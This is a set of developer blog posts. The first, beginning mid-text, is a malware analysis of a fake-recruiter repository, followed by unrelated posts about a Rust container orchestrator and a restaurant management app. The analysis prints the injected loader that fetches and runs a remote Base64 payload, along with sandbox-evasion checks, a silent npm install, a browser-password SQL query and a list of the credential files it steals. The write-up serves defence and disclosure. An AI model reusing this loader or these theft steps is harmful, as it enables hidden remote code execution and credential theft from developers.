The repository was a clean, realistic React/Node.js fullstack project. Proper folder structure, reasonable code, nothing obviously wrong on a quick scroll.

Two files had been surgically modified:

server/config/config.js — added three innocuous-looking exports:

exports.locationToken = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9VVkVYSA==";
exports.setApiKey = (s) => { return atob(s); };
exports.verify = (api) => { return axios.get(api); };

locationToken is a Base64 string that decodes to https://www.jsonkeeper.com/b/UVEXH — a third-party JSON hosting service used as a payload staging server.

server/routes/auth.js — an IIFE injected at the top:

(async () => {
  verify(setApiKey(locationToken))
    .then(response => {
      new Function("require", Buffer.from(response.data.model, 'base64').toString('utf8'))(require);
    })
    .catch(error => { });
})();

On server start, this silently fetches the remote payload, Base64-decodes it, and executes it via new Function() — passing require so it has full Node.js access. The catch block swallows all errors silently.

The Payload

The payload fetched from jsonkeeper.com was a 2.8MB RC4-obfuscated JavaScript file — 17,278 encrypted string array entries, 508,646 array rotations, 119 wrapper decode functions. Not something you reverse by reading it.

First thing it does after decoding itself: check if it's running in an analysis environment.

// Sandbox detection
{}.constructor("return this")()  // behaves differently in vm.createContext

// WSL detection
process.env.WSL_DISTRO_NAME
fs.readFileSync('/proc/version').includes('microsoft')

// Debugger detection + VM heuristics

If it passes those checks, it silently installs four npm packages:

npm install sql.js socket.io-client form-data axios --no-save --loglevel silent

--no-save means nothing appears in package.json. --loglevel silent suppresses all output. Then it spawns three background processes and gets to work.

What It Was Designed to Steal

I executed the payload in an isolated sandbox VM with no access to real credentials or production systems. Here's what it would have gone after on a real machine.

Browsers targeted (13): Chrome, Firefox, Brave, Edge, Opera, Opera GX, Vivaldi, Yandex, Kiwi, Iridium, Comodo Dragon, SRWare Iron, Chromium.

For Chromium-based browsers it runs direct SQLite queries against Login Data:

SELECT origin_url, username_value, password_value FROM logins

Passwords are decrypted using platform key extraction (DPAPI on Windows, AES-GCM on Linux/macOS).

For Firefox it targets both logins.json AND key4.db — with both files together all stored passwords are fully decryptable offline.

It also targets:

All files in ~/.ssh/
~/.aws/credentials
~/.docker/config.json
Any file matching: .env, password, token, secret, api_key, wallet, .sqlite
macOS Keychain (login.keychain-db)
Brave wallet LevelDB storage
Clipboard contents — monitored continuously and exfiltrated in real time

Everything gets exfiltrated to 216.126.225.243 (Ogden, Utah — bulletproof hosting on AS46664 VolumeDrive) via Socket.IO on port 8087 and HTTP uploads on ports 8085/8086.

The Fake Company

Pass App was a real company that shut down on December 16, 2025. They had 10.4K Twitter followers and announced their closure publicly. Their website went offline. Their LinkedIn presence went dormant.

Four months later, the attacker hijacked that abandoned identity. The LinkedIn company page still had 585 followers and looked active. The real company's credibility became the attacker's cover.

One tell: Andre's pitch described Pass App as "a decentralized Airbnb-style platform" — completely different from the real product (an AI crypto wallet). The attacker's script hadn't been updated to match the brand they stole.

Attribution

This is a known campaign called "Contagious Interview" (also tracked as "Dev Recruiter"). It has been running since at least 2023 and is attributed to DPRK-linked threat actors — specifically Lazarus Group / TraderTraitor. The goal is financially motivated: cloud credentials, crypto wallets, and SSH keys to pivot into production infrastructure.

The malware family is consistent with BeaverTail (the obfuscated JS infostealer) and InvisibleFerret (the Python-based backdoor that sometimes follows it).

The ukey: 506 field in the C2 registration event suggests at least 506 active operator accounts in this campaign's infrastructure.

How I Caught It

Code review before running anything. The locationToken export looked odd — why is an API key Base64-encoded inline in config? Decoded it, saw jsonkeeper.com, fetched the URL, got a 2.8MB JSON blob with a model field.

I never ran it on my machine. I spun up an isolated VM instead.

What I Did About It

Spun up an isolated QEMU/KVM sandbox VM with no real credentials, executed the payload with full network monitoring
Captured a 23MB PCAP of the full C2 handshake
Fully deobfuscated the payload via dynamic instrumentation — hooked the decoder functions, captured 900,000+ ordered call records, reconstructed the full source
Reported to FBI IC3, CISA, BSI Germany, Atlassian, jsonkeeper, and npm security

Red Flags — In Hindsight

Signal	What it meant
Contact email is `@hotmail.com` with random suffix	Not a company domain — fake or hijacked account
LinkedIn connection made the day before the attack	Purpose-built connection, not a real relationship
Company website returns "Server Not Found"	No legitimate business behind the persona
Meeting scheduled but never confirmed	Meeting was only a pretext to get the repo run
Repo delivered before meeting acceptance	Urgency tactic — get it executed before scrutiny
Product description doesn't match company	Attacker's script wasn't updated for the stolen brand

Protect Yourself

Never run npm install on a repo from someone you just met online without reading every file in package.json scripts, every entry point, and especially any files that run on startup.

Use a disposable VM for any externally-provided code. No SSH agent forwarding. No access to ~/.aws or ~/.docker. Snapshot before, delete after.

Check the company website. If it's down, walk away.

A recruiter email that doesn't match their company domain is a hard stop.

If you've recently cloned a repo from a LinkedIn recruiter and ran it on your real machine — check your ~/.ssh/, .env files, and browser credentials immediately. Look for lock files matching {tmpdir}/pid.*.lock. If you find them, assume full compromise.

IOCs, full technical details, and deobfuscated payload signatures have been shared with law enforcement and submitted to MalwareBazaar and VirusTotal.

Stay safe.

I Built a Container Orchestrator in Rust Because Kubernetes Was Too Much and Coolify Wasn't Enough

Sharang Parnerkar — Fri, 10 Apr 2026 09:21:30 +0000

There's a gap in the container orchestration world that nobody talks about.

Docker Compose works for 1 server. Coolify and Dokploy give you a nice GUI but still cap at one node. Kubernetes handles 10,000 nodes but requires a team of platform engineers just to keep the lights on.

What if you have 2 to 20 servers, 20 to 100 services, and a team of 1 to 5 engineers who'd rather ship features than debug etcd quorum failures?

That's exactly where I was. So I built Orca.

Docker Compose ──> Coolify/Dokploy ──> Orca ──> Kubernetes
   (1 node)         (1 node, GUI)      (2-20)     (20-10k)

TL;DR

Orca is a single-binary container + WebAssembly orchestrator written in Rust. One 47MB executable replaces your control plane, container agent, CLI, reverse proxy with auto-TLS, and terminal dashboard. Deploy with TOML configs that fit on one screen — no YAML empires, no Helm charts, no CRDs.

GitHub: github.com/mighty840/orca
Install: cargo install mallorca

The Problem

I was running ~60 services across 3 servers for multiple projects — compliance platforms, trading bots, YouTube automation pipelines, chat servers, AI gateways. Coolify worked great at first, but then I needed:

Services on multiple nodes with DNS-based routing per node
Auto-TLS without manually configuring Caddy/Traefik per domain
Git push deploys that actually work across nodes
Rolling updates that don't take down the whole stack
Config as code, not clicking through a GUI

Kubernetes was the obvious answer, but for 3 nodes and a solo developer? That's like buying a Boeing 747 to commute to work.

What Orca Actually Does

Single Binary, Everything Included

cargo install mallorca
orca install-service          # systemd unit with auto port binding
sudo systemctl start orca

That one binary runs:

Control plane with Raft consensus (openraft + redb — no etcd)
Container runtime via Docker/bollard
WebAssembly runtime via wasmtime (5ms cold start, ~2MB per instance)
Reverse proxy with Host/path routing, WebSocket proxying, rate limiting
ACME client for automatic Let's Encrypt certificates
Secrets store with AES-256 encryption at rest
Health checker with liveness/readiness probes and auto-restart
AI assistant that diagnoses cluster issues in natural language

TOML Config That Humans Can Read

[[service]]
name = "api"
image = "myorg/api:latest"
port = 8080
domain = "api.example.com"
health = "/healthz"

[service.env]
DATABASE_URL = "${secrets.DB_URL}"
REDIS_URL = "redis://cache:6379"

[service.resources]
memory = "512Mi"
cpu = 1.0

[service.liveness]
path = "/healthz"
interval_secs = 30
failure_threshold = 3

Compare that to the equivalent Kubernetes YAML. I'll wait.

Multi-Node in One Command

# On worker nodes:
orca install-service --leader 10.0.0.1:6880
sudo systemctl start orca-agent

The agent connects to the master via bidirectional WebSocket — no HTTP polling, no gRPC complexity. Deploy commands arrive instantly. When an agent reconnects after a network blip, the master sends the full desired state and the agent self-heals.

[service.placement]
node = "gpu-box"         # Pin to a specific node

GitOps Without a CI Runner

Orca has a built-in infra webhook. Point your git host at the orca API, and every push triggers git pull + full reconciliation:

# One-time setup:
curl -X POST http://localhost:6880/api/v1/webhooks \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"repo":"myorg/infra","service_name":"infra","branch":"main",
       "secret":"...","infra":true}'

Push a config change → orca pulls → deploys only what changed. No Jenkins, no GitHub Actions runner, no ArgoCD.

For image-only updates (CI pushes new :latest), register a per-service webhook and orca force-pulls + restarts.

How It Compares

Feature	Coolify	Dokploy	Orca	K8s
Multi-node	No	No	Yes (Raft)	Yes (etcd)
Config format	GUI	GUI	TOML	YAML
Auto-TLS	Yes	Yes	Yes (ACME)	cert-manager
Secrets	GUI	GUI	AES-256, `${secrets.X}`	etcd + RBAC
Rolling updates	Basic	Basic	Yes + canary	Yes
Health checks	Basic	Basic	Liveness + readiness	Yes
WebSocket proxy	Partial	Partial	Full	Ingress-dependent
Wasm support	No	No	Yes (wasmtime)	Krustlet (dead)
AI ops	No	No	Yes	No
GitOps webhook	Yes	Yes	Yes + infra webhook	ArgoCD/Flux
Self-update	No	Docker pull	`orca update`	Cluster upgrade
Lines of config per service	~0 (GUI)	~0 (GUI)	~10 TOML	~50-100 YAML
External dependencies	Docker, DB	Docker	Docker only	etcd, CoreDNS, ...
Binary size	Docker image	Docker image	47MB	N/A

The Smart Reconciler

One thing that drove me crazy with other orchestrators: redeploy a stack and everything restarts, even services that haven't changed.

Orca's reconciler compares the unresolved config templates (with ${secrets.X} intact), not the resolved values. If your OAuth token refreshed but your config didn't change, the container stays running. Only actual config changes trigger a rolling update.

orca deploy              # Reconcile all — skips unchanged services
orca deploy api          # Reconcile just one service
orca redeploy api        # Force pull image + restart (for :latest updates)

What's Coming in v0.3

The roadmap is driven by what we actually need in production:

Remote log streaming — orca logs <service> for containers on any node, piped via WebSocket
Preview environments — orca env create pr-123 spins up an ephemeral copy of a project
Per-project secrets — ${secrets.X} resolves project scope first, then global
TUI webhook manager — add/edit/delete webhooks from the terminal dashboard
TUI backup dashboard — per-node backup status, manual trigger, restore
ARM64 builds — native binaries for Raspberry Pi / Graviton
Log forwarding — ship container logs to Loki, SigNoz, or any OpenTelemetry collector
Nixpacks integration — auto-detect and build without Dockerfiles

Architecture for the Curious

┌─────────────────────────────────────┐
│         CLI / TUI / API             │
└──────────────┬──────────────────────┘
               │
┌──────────────▼──────────────────────┐
│         Control Plane               │
│  Raft consensus (openraft + redb)   │
│  Scheduler (bin-packing + GPU)      │
│  API server (axum)                  │
│  Health checker + AI monitor        │
└──────────────┬──────────────────────┘
               │ WebSocket
    ┌──────────┼──────────┐
    ▼          ▼          ▼
┌────────┐ ┌────────┐ ┌────────┐
│ Node 1 │ │ Node 2 │ │ Node 3 │
│ Docker │ │ Docker │ │ Docker │
│ Wasm   │ │ Wasm   │ │ Wasm   │
│ Proxy  │ │ Proxy  │ │ Proxy  │
└────────┘ └────────┘ └────────┘

8 Rust crates, ~15k lines, 120+ tests. Every source file under 250 lines. The dependency flow is strict: core <- agent <- control <- cli. No circular deps, no god modules.

Want to Contribute?

Orca is open source (AGPL-3.0) and actively looking for contributors. The codebase is designed to be approachable:

Small files — 250 line max, split into clear submodules
Comprehensive tests — 120+ unit and integration tests
Architecture guide — CLAUDE.md documents every crate, convention, and design decision
Real issues — every open issue comes from production usage, not hypotheticals

Good first issues:

ARM64 CI build — add a GitHub Actions matrix for aarch64
TUI log viewer — stream container logs in a ratatui pane
Backup --exclude — skip specific volumes from nightly backup
Service templates — WordPress, Supabase, n8n one-click configs

git clone https://github.com/mighty840/orca.git
cd orca
cargo test        # 120+ tests
cargo build       # single binary

Links

GitHub: github.com/mighty840/orca
Docs: mighty840.github.io/orca
crates.io: crates.io/crates/mallorca
Changelog: CHANGELOG.md

Orca is built by developers running real production workloads on it — trading bots, compliance platforms, YouTube automation, AI gateways. Every feature exists because we needed it, every bug fix comes from a real 3 AM incident. If you're stuck between Coolify and Kubernetes, give it a shot.

Star the repo if this resonates. Open an issue if something's broken. PRs welcome.

Design decisions behind KitchenAsty — an open-source restaurant management system

Sharang Parnerkar — Wed, 25 Feb 2026 10:24:55 +0000

In my previous post, I introduced KitchenAsty — an open-source, self-hosted restaurant ordering and management platform. People asked about the architecture, so this post dives into the core design decisions: how the real-time system works, how the database handles guest orders and price changes, how settings resolve from multiple sources, and how a data-driven automation pipeline lets restaurant owners set up custom workflows without writing code.

1. Real-Time Architecture: Rooms, Not Broadcasts

A restaurant system has two audiences that need live updates simultaneously: kitchen staff watching for incoming orders, and customers tracking their delivery. Broadcasting everything to everyone would be wasteful and insecure.

Socket.IO's room abstraction solves this cleanly. There are two room types:

kitchen — a single shared room. Every kitchen display client joins it. When a new order arrives or any order changes status, the event goes here.
order:{orderId} — one room per active order. The customer's browser or mobile app joins their specific order room. They only receive updates about their order.

// Client joins on mount
socket.emit('join:kitchen');     // kitchen display
socket.emit('join:order', id);   // customer order tracking

// Server emits to both rooms on status change
io.to('kitchen').emit('order:statusUpdate', order);
io.to(`order:${order.id}`).emit('order:statusUpdate', order);

This means 50 customers tracking 50 orders generate 50 targeted messages, not 50 broadcasts. The kitchen display gets every update because it's in the shared room.

On the kitchen display itself, updates are applied optimistically — the UI updates immediately on button click, and the Socket.IO event from the server reconciles in the background. If the status moves the order off the Kanban board (e.g., "delivered"), the socket handler removes it from local state:

s.on('order:statusUpdate', (data) => {
  setOrders((prev) => {
    if (!KITCHEN_STATUSES.includes(data.status)) {
      return prev.filter((o) => o.id !== data.id);  // gone from board
    }
    return prev.map((o) => o.id === data.id ? { ...o, status: data.status } : o);
  });
});

2. Database: Snapshots, Not References

The most important database design decision was this: order items store a snapshot of the menu data at the time of purchase, not just a foreign key.

model OrderItem {
  menuItemId String
  menuItem   MenuItem @relation(...)
  name       String      // "Margherita Pizza" — frozen at order time
  unitPrice  Float       // 12.99 — frozen at order time
  subtotal   Float
}

model OrderItemOption {
  name          String   // "Extra Cheese" — frozen
  value         String   // "Yes" — frozen
  priceModifier Float    // 2.50 — frozen
}

The foreign key to MenuItem is still there for analytics (which menu items generate the most revenue), but the name, unitPrice, and priceModifier fields are what the order actually uses. If the restaurant changes the price of a pizza next week, existing order records aren't affected.

This matters more than you'd think. Restaurants update prices frequently — seasonal menus, promotions, cost adjustments. Without snapshots, your revenue reports lie and customer receipts change retroactively.

Guest checkout with optional customer

Orders support both registered customers and guests through an optional relationship:

model Order {
  customerId String?     // null for guest orders
  customer   Customer?
  guestName  String?     // fallback fields for guests
  guestEmail String?
  guestPhone String?
}

The auth middleware on the order creation endpoint uses optionalAuth — it attaches the user if a token is present but doesn't block the request otherwise. The controller checks: if there's a logged-in customer, link the order; if not, store the guest fields.

Self-referential categories

Menus need nested categories (e.g., "Drinks" > "Hot Drinks" > "Coffees"). Rather than a flat list with a separate hierarchy table, the schema uses a self-referential adjacency list:

model Category {
  parentId String?
  parent   Category?  @relation("CategoryTree", fields: [parentId], references: [id])
  children Category[] @relation("CategoryTree")
}

One query with include: { children: true } gives you the full tree. Simple to query, simple to render, and Prisma's type system ensures you can't accidentally create orphans.

3. Settings: DB-First with Env Var Fallback

Restaurant owners configure their system through the admin panel (stored in the database). Developers configure it through environment variables during deployment. Both need to work, and the admin panel should win when both are set.

The pattern looks like this for email configuration:

async function getMailConfig() {
  // Start with env var defaults
  let host = process.env.SMTP_HOST || 'localhost';
  let port = parseInt(process.env.SMTP_PORT || '1025');

  try {
    // DB settings override env vars
    const settings = await prisma.siteSettings.findUnique({
      where: { id: 'default' }
    });
    const mail = settings?.mailSettings || {};
    if (mail.smtpHost) host = mail.smtpHost;
    if (mail.smtpPort) port = mail.smtpPort;
    // ...
  } catch {
    // DB unavailable — env vars are the fallback
  }
}

The entire site configuration lives in a single database row — SiteSettings with id: 'default'. JSON columns hold grouped settings (general, orders, mail, payments, reservations, reviews, advanced). This avoids a key-value settings table and keeps related settings together.

Two details that took some thought:

Caching — The mail transporter is cached for 5 minutes to avoid a database round-trip on every email. When settings are updated through the admin API, invalidateMailCache() forces a rebuild on the next send.

Secret masking — API keys and passwords are masked in API responses (sk_l...4x8f). When the admin submits the settings form, if a field still looks masked, the server preserves the existing database value instead of overwriting it with the mask string:

function preserveIfMasked(newVal, existingVal) {
  if (isMasked(newVal)) return existingVal;
  return newVal;
}

This means the frontend never holds real secrets in memory — it only ever sees masked values.

4. Auth: Composable Middleware, Two User Types

Staff and customers share the same JWT structure but are treated as distinct principals:

interface JwtPayload {
  id: string;
  email: string;
  type: 'staff' | 'customer';
  role?: 'SUPER_ADMIN' | 'MANAGER' | 'STAFF';
}

Access control is built from three composable middleware functions:

authenticate        // require any valid JWT
requireStaff        // require type === 'staff'
requireRole(...roles)  // require specific role(s)

These compose at the route level:

router.post('/',            optionalAuth, createOrder);       // guests OK
router.get('/my-orders',    authenticate, listCustomerOrders);
router.get('/',             authenticate, requireStaff, listOrders);
router.patch('/:id/status', authenticate, requireStaff, updateOrderStatus);

The optionalAuth variant is key for guest checkout — it attaches the user if present but doesn't reject anonymous requests.

Staff invitation uses single-use tokens with a 7-day expiry stored in the database. When a new staff member accepts an invitation, the token is marked as used to prevent replay.

5. Automation: Data-Driven Event Pipeline

This was the most interesting piece to build. Restaurant owners need custom workflows — "email the customer when their order is confirmed", "send an SMS when the order is ready for pickup", "notify the manager via webhook when a bad review comes in" — without touching code.

The pipeline has three layers:

Layer 1 — EventEmitter as internal bus. Controllers emit domain events after mutations:

// After creating an order
appEvents.emit('order.created', { order });

// After changing order status
appEvents.emit('order.statusChanged', { order, previousStatus });

Layer 2 — DB-driven rule matching. When an event fires, the system queries for active automation rules that match:

async function processRules(event, data) {
  const rules = await prisma.automationRule.findMany({
    where: { event, isActive: true },
  });
  for (const rule of rules) {
    if (matchesConditions(rule.conditions, data)) {
      for (const action of rule.actions) {
        executeAction(action, data);
      }
    }
  }
}

Conditions support dot-notation paths, so a rule can match on order.status === 'CONFIRMED' or order.type === 'DELIVERY'.

Layer 3 — Action execution. Three action types: email, sms, and webhook. Templates use {{dot.path}} interpolation:

{
  "type": "email",
  "to": "customer",
  "subject": "Your order #{{order.orderNumber}} is confirmed!",
  "body": "Hi {{order.customer.name}}, we're preparing your order."
}

The "to": "customer" field resolves dynamically — it walks data.order.customer.email, then falls back to data.order.guestEmail. This works transparently for both registered and guest orders.

Everything is stored as JSON in the AutomationRule model, so restaurant owners create and manage rules through the admin panel without deployments.

6. Shared Types: Thin by Design

The packages/shared package is intentionally minimal — it exports as const arrays that serve as both runtime values and TypeScript types:

export const ORDER_STATUSES = [
  'pending', 'confirmed', 'preparing', 'ready',
  'out_for_delivery', 'delivered', 'picked_up', 'cancelled',
] as const;

export type OrderStatus = (typeof ORDER_STATUSES)[number];

The package does not re-export Prisma types. The admin and storefront apps import from @kitchenasty/shared without taking a transitive dependency on Prisma or any server-side code. This keeps frontend bundles clean and avoids the common monorepo trap where everything depends on everything.

Shared response shapes (ApiResponse<T>, PaginatedResponse<T>) ensure the API contract is consistent across all endpoints without a code generation step.

What I'd Do Differently

A few things I'd reconsider if starting over:

tRPC instead of REST — type-safe API calls without hand-written fetch wrappers. The shared types package partially solves this, but tRPC would eliminate the gap entirely.
Structured logger from day one — the codebase currently uses raw console.* calls. Adding pino or winston after the fact means touching every file that logs. This is an open issue if you want to help.
Component tests for the frontends — the backend has 330+ tests but the React apps have zero unit tests. Integration coverage through Playwright helps, but component-level tests would catch more regressions.

Try It / Contribute

Live demo: demo.kitchenasty.com (resets every 2 hours)
GitHub: github.com/mighty840/kitchenasty
Docs: kitchenasty.com

If any of these patterns are interesting to you, there are good first issues and help wanted issues covering accessibility, i18n, test coverage, and more. Happy to answer questions in the comments or in GitHub Discussions.

I built an open-source alternative to Toast and Square for restaurant management

Sharang Parnerkar — Mon, 23 Feb 2026 21:47:49 +0000

The Problem

If you run a small restaurant, your options for online ordering and management are:

SaaS platforms like Toast, Square, or ChowNow — $100-300+/month with vendor lock-in
Old open-source projects — mostly PHP/Laravel, hard to extend, dated UIs
Build it yourself — months of work before you can take a single order

I wanted a fourth option: a modern, self-hosted, open-source platform that a developer could deploy in an afternoon.

Introducing KitchenAsty

KitchenAsty is an MIT-licensed restaurant ordering, reservation, and management system built as a TypeScript monorepo.

What it covers

For customers:

Browse the menu, add to cart, and place orders for delivery or pickup
Schedule orders for later or order ASAP
Pay with Stripe or cash on delivery
Track orders in real-time
Book table reservations
Leave reviews
React Native mobile app

For restaurant staff:

Manage menus with categories, options, allergens, and images
Kitchen display — a live Kanban board showing incoming orders
Process orders with one-click status progression
Manage reservations with table assignment
Create and track coupons
Moderate customer reviews
Staff management with role-based access

For the owner:

Dashboard with revenue trends, order analytics, and top-selling items
Multi-language support (6 languages)
Full settings panel for payments, email, orders, and more

Tech Stack

Layer	Tech
API	Node.js + Express
Admin & Storefront	React 18 + Vite
Mobile	React Native + Expo
Database	PostgreSQL + Prisma
Real-time	Socket.IO
Payments	Stripe
Styling	Tailwind CSS
Testing	Vitest + Playwright (330+ tests)
Language	TypeScript (strict mode everywhere)

Architecture Decisions

A few choices I made and why:

Monorepo with npm workspaces — Admin, storefront, server, and shared types all live in one repo. Changes to shared types are immediately visible everywhere. No publishing packages, no version mismatches.

Prisma over raw SQL — Type-safe database queries that catch errors at build time. The schema is self-documenting with 30 models and clear relationships.

Socket.IO for real-time — The kitchen display and order tracking need instant updates. Socket.IO made this straightforward with room-based broadcasting.

Separate admin and storefront apps — Different audiences, different concerns. The admin is a dense data-management tool. The storefront is a consumer-facing ordering experience. Sharing a single React app would have meant too many compromises.

Self-Hosting

The project is designed to be self-hosted with Docker. The docs site has a complete guide covering:

Server setup (Ubuntu/Debian)
Docker Compose deployment
Domain and DNS configuration
Reverse proxy with SSL (Nginx or Caddy)
Backups and maintenance

For local development, it's docker compose up -d for PostgreSQL, then npm run dev:server / npm run dev:admin / npm run dev:storefront.

By the Numbers

27,000 lines of TypeScript
30 database models
118 API endpoints
330+ tests (unit, integration, E2E)
6 supported languages
Full CI/CD with GitHub Actions

Contributing

The project is set up for contributors:

Contributing guide
Good first issues — small, well-scoped tasks with clear instructions
Help wanted issues — bigger features where input is welcome
Discussions — feature ideas, RFCs, and community chat

Areas where help is most needed: accessibility, i18n coverage, test coverage, and structured logging.